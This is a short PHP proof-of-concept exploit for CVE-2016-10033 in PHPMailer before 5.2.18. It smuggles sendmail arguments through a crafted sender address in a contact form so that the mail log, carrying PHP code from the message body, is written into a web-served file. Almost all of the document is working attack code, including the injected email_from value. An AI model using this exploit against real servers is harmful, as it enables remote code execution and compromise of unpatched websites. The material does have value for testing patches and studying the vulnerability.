<?php /* 
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) 
A simple PoC (working on Sendmail MTA) 
It will inject the following parameters to sendmail command: 
Arg no. 0 == [/usr/sbin/sendmail] 
Arg no. 1 == [-t] 
Arg no. 2 == [-i] 
Arg no. 3 == [-fattacker\] 
Arg no. 4 == [-oQ/tmp/] 
Arg no. 5 == [-X/var/www/cache/phpcode.php] 
Arg no. 6 == [some"@email.com] 
which will write the transfer log (-X) into /var/www/cache/phpcode.php file. 
The resulting file will contain the payload passed in the body of the msg: 
09607 <<< --b1_cb4566aa51be9f090d9419163e492306 
09607 <<< Content-Type: text/html; charset=us-ascii 
09607 <<< 
09607 <<< <?php phpinfo(); ?> 09607 <<< 
09607 <<< 
09607 <<< 
09607 <<< --b1_cb4566aa51be9f090d9419163e492306-- 
See the full advisory URL for details. 
*/ // Attacker's input coming from untrusted source such as $_GET , $_POST etc.  // For example from a Contact form  $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com'; 
$msg_body  = "<?php phpinfo(); ?>"; // ------------------  // mail() param injection via the vulnerability in PHPMailer  require_once('class.phpmailer.php'); 
$mail = new PHPMailer(); // defaults to using php "mail()"  $mail->SetFrom($email_from, 'Client Name'); 
$address = "customer_feedback@company-X.com"; 
$mail->AddAddress($address, "Some User"); 
$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033"; 
$mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; 
} else { echo "Message sent!\n"; 
}